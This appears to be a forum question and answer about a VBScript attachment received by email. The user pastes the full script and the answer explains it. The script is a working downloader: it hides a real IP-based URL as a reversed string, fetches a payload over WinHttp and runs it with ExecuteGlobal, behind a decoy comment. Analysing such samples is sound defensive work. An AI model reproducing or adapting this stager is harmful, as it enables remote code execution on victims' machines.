I received an email containing a Visual Basic (.vbs) script on it. Opened in a safe environment and found this. What does it do?
Dim strname, strlength
strname = "This function is to reverse the tring without using strreverse"
strlength = len(strname)
For i = strlength to 1 step-1
ch = mid(strname,i,1)
cha = cha&ch
Next
Set filatelismo = CreateObject("WinHttp.WinHttpRequest.5.1")
arvicultura = Strreverse("txt.cD02/222:15.18.24.5//:ptth")
filatelismo.Open "GET",arvicultura, False
filatelismo.Send
olente = filatelismo.ResponseText
anoneira olente
Function anoneira(mural)
ExecuteGlobal mural
End Function
It downloads a payload from a site and then executes the commands in that payload, so this is just the downloader.
It has the URL of the payload as a reversed string, hence the function Strreverse to reverse a string.
The function anoneira is what it uses to execute the downloaded payload.